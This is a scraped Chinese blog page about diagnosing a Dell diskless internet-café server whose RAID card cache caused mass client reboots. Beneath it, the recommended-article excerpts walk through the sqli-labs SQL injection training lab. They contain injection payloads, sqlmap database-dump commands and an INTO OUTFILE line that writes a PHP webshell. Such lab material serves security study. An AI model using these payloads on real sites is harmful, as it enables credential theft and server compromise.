无盘服务器开机不显示,一例解决DELL无盘服务器故障导致客户机批量重启的案例...

最新推荐文章于 2024-08-22 19:11:57 发布
最新推荐文章于 2024-08-22 19:11:57 发布
阅读量698 收藏
点赞数
文章标签： 无盘服务器开机不显示

现在网吧都是用无盘的，无盘网吧服务器就显得非常重要了，如果无盘网吧服务器某些硬件出问题了，会导致网吧客户机批量出现问题甚至是整个网吧的客户机都陷入瘫痪状态，今天就来一起分享一个来自天下网吧论坛版主亲身经历的一件「一例解决DELL无盘服务器故障导致客户机批量重启的案例」：

早上接到某网吧反映，凌晨的时候网吧约半数客户机批量蓝屏后重启，但是重启后恢复了正常。

网吧用的是顺网2250+云更新1476，登入服务器后看，服务器已经启动49天，顺网服务和云更新服务都已经启动49天，状态里没有任何错误。打开系统日志，发现有报错， NTFS:系统未能将数据转储到事务日志。可能出现损坏现象。 ID57.  该日志竟然多达8w条，且每隔两三秒就增加一条。

初步怀疑是磁盘问题。但是日志中却没有更多信息。 为了定位是哪个硬盘有问题，采用排除法：

服务器系统和无盘服务正常，客户机重启后正常启动，服务器系统盘和镜像肯定没有问题(而且因为客户机有缓存，服务器镜像盘出问题，客户机也不会立即重启，据网管反映，所有机器是同时蓝屏重启的。)，客户机大面积蓝屏重启(大约一半机器)应该跟游戏盘无关，游戏盘如果有问题应该只会造成游戏崩溃或报错。 那么如果硬盘有问题，应该是回写盘问题。 但是该网吧有5个回写盘，坏任意一个也不应该造成超过一半机器蓝屏重启。

打开硬盘哨兵后发现，硬盘健康度都很高，挨个点了一下，却发现一个奇怪的现象：5个回写盘都有大量的写入错误日志，最高的28940次写入错误，最低的也8340次！

20180525144604479.jpg 

(注 Intel S3510健康度满着就是70%)

不可能5个回写盘都出问题了吧？于是怀疑系统或者别的硬件问题。

打开磁盘管理器，突然发现服务器上有2个系统盘！内容竟然是一样的，但是少了个回写盘。第二个系统盘里文件打开却都报错。

奇怪的问题来了：怎么会有2个系统盘？ 当初回写盘我用的是动态磁盘格式，怎么会无缘无故变成基本磁盘里面还有2008的文件？

重启服务器到PE下，却发现只有一个回写盘。然后服务器启动，竟然又变成了只有一个回写盘。但是系统日志仍然增加了一条NTFS报错。

于是怀疑是SAS卡缓存造成的问题，因为Dell c2100用的H700的SAS卡，而且说明上该卡拔掉缓存不能使用，只能尝试禁用缓存。

开机Ctrl+R进入SAS配置，H700卡不能桥接，只能把物理盘虚拟成raid才能用。F2打开菜单只能在建立虚拟盘的时候选择是否启用缓存。只能选择Delete VD删除磁盘，将所有磁盘删除后，按F2选择Creat new VD重新创建磁盘. 创建磁盘的时候选中Advanced Settings高级设置，read policy选择 No Read Ah, write policy选Write-Through 表示关闭缓存，切记尽量不要修改别的参数，否则容易导致硬盘上的数据丢失！  全部创建完毕后重启，进入Windows2008，客户机开机，观察一小时没有再报错，问题解决。

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理，安装维护 / 下载天下网吧APP，交流讨论

本文来源：系统之家 作者：系统之家

郭大秀
关注
sqlilabs通关（）
Forrest_bear的博客
05-24 2590
就像以下代码一样：隔离空格。
Sqli-lab教程-史上最全详解（1-22通关）
qq_52364123的博客
04-10 1万+
sql注入集合
SQLi-LABS通关攻略【21-25关】
qq_65852138的博客
08-22 453
SQLi-LABS通关攻略【21-25关】
sqli-labs通关攻略（全关卡）（更新中~）
C233333235的博客
07-22 1642
7.然后就要进行表名的查询，此处在2的位置用group_concat(table_name),3 from information_schema.tables where table_schema='security'语句进行查询，group_concat的作用是将查询出的表名显示到一行，不然只能显示第一个表名。（别忘了在参数1前面加-，主要是为了使参数变为一个不存在的参数，任何过大的数字或负数，以及小数，科学计数法数字都可以），在这里确定其回显位置为2和3。1.打开关卡，提示我们将参数id填入url中。
Sqli-labs全通关教程（手工注入+工具使用sqlmap）
qq_57223070的博客
02-24 1万+
希望能帮到你，sqlmap使用及SQL注入手工
Sqli-labs通关手册【1-30关】
李安北的博客
05-03 7551
1.sql注入的原理 1）sql注入的原因 语言分类：解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令，然后在运行时直接由使用该语言的计算机执行这些指令。 例如：在与用户交互的程序中，用户的输入拼接到SQL语句中，执行了与原定计划不同的行为，从而产生了SQL注入漏洞。 2）登录案例讲解 主要是万能密码：登录SQL语句：select * from admin where username = ‘用户输入的用户名’
sqli-labs靶场通关攻略
test_zpx的博客
08-14 4028
Good Good Study，Day Day Up！
sql-labs通关讲解
qq_70836100的博客
07-22 1638
目录。
详细sqli-labs（1-20）通关讲解
m0_57928318的博客
05-18 6522
获取数据库名时可以使用 left() 函数，这里使用 substr() 函数截取数据库名的每个字符，然后使用 ASCII() 函数判断这个字符的 ASCII 码值。我们可以看出，GET 方式和post 方式 的区别，GET方式 可以明显的 从 URL 中进行注入，POST可以在数据包中进行修改对应的字段来进行 SQL 注入。获取数据库名时，使用 LEFT() 函数进行穷举法的效率较低，使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。
sqli-labs通关详解
m0_52051132的博客
10-15 7326
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单。sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库。条件正确有回显，条件错误没有回显，布尔盲注？py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库。
sqli-labs通关记录
qq_39670065的博客
07-11 2991
sqli-lab通关记录 1.docker搭建 运行：docker info //查看docker信息，确认docker正常 搜索sqli-labs：docker search sqli-labs 建立镜像：docker pull acgpiano/sqli-labs 查看存在的镜像：docker images 运行存在的镜像：docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs （参数解释：-dt 后台运行； --name 命名
sqli-labs通关攻略
jhfjdf的博客
10-13 1501
sqli-labsless 1 less 1 字符型注入，单引号 网址后面接 ?id=1 正常显示，然后判断注入点 ?id=1' and 1=1--+ 将1=1换成1=2，发现没有报错，但不显示信息，说明可以使用字符注入 之后判断列数，使用order by，从1开始逐渐递增，报错时停止。 ?id=1' order by 1--+ ...
sql—labs通关
m0_64674174的博客
10-24 784
主界面由于mysql_real_escape_string的过滤，将单引号，双引号等进行转义，无法进行注入，注册界面以及修改密码界面,由于注册界面以及修改密码见面的闭合方式不一样，可以达到二次注入的目的，创建。安装方法：解压到小皮面板的www的目录下，在sqllabs的sql-connections目录下的db-creds.inc文件，下图划横线位置设置自己的密码即可，从代码角度而言，可以很清楚的看出由单引号闭合，直接使用sql注入的一半流程即可，查询字段，判断回显，数据库——表——列，即可 为。
sqli-labs 通关日志 萌新向
春日野穹
11-16 2124
0x0 引言 sqli-labs是一个用来练习sql注入的平台，其内置集成了现存的各种sql注入，如盲注，联合查询注入等，对于新手来说它是一个十分不错的练习平台，我们可以使用它来进行各种注入尝试，从而提升我们的sql注入能力 萌新建议先看这个帖子再来做题：https://blog.youkuaiyun.com/chest_/article/details/102537988 目录快速导航 环境的搭...
sqli-labs通关大全（更新至Less60）
热门推荐
箭雨镜屋
09-03 2万+
sqli-labs通关（less1~less10）_箭雨镜屋-优快云博客 sqli-labs通关（less11~less20）_箭雨镜屋-优快云博客 sqli-labs通关（less21~less30）_箭雨镜屋-优快云博客
sqli-labs通关教程
m0_65150886的博客
01-23 1900
id=1返回正常页面?id=1'显示sql语句有误?id=1''页面返回正常，证明是字符型注入。因为该页面存在回显，所以我们可以使用联合查询。
sqli-labs通关详解（1-20关）
2302_81105681的博客
04-11 3584
1.首先判断闭合方式在我之前发布的文章中有详细的sql注入判断闭合的方法和原理，参考《sql注入实验原理》在1-6关，我们可以通过在参数后面加\的方法判断闭合\后面的符号就是闭合符号，由此可见第一关的闭合方式为'闭合2.判断字段数当我们输入?id=1' order by 4--+时页面显示没有第4字段，由此判断字段数为3.3.判断回显位因为有三个字段，所以我们使用命令判断出第2，3字段的内容回显在页面中4.爆数据库名我们可以将2或者3更改为database（）来使页面回显出数据库名。
sqli-labs-master靶场[超详细通关教程，通关攻略~！]
muyuchen110的博客
07-22 3247
sqli-labs-master[超详细通关教程，通关攻略~！](附解题思路及各注入方法解析)-------持续更新关卡通关教程！！！！
SQLi_Labs通关文档【1-65关】
weixin_30491641的博客
07-23 803
SQLi_Labs通关文档【1-65关】 为了不干扰自己本机环境，SQL-LAB我就用的码头工人，跑起来的，搭建也非常简单，也就两条命令 dockerpullacgpiano/sqli-labsdockerrun-dt--namesqli-lab-p[你要映射的端口]:80acgpiano/sqli-labs:latest 然后在SQL-LAB上直接初始化数...
sqli-labs1-7通关
最新发布
01-01
### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中，目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数，可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数，则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时，可采用时间延迟技术来进行推测性的注入测试。例如，如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念，在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值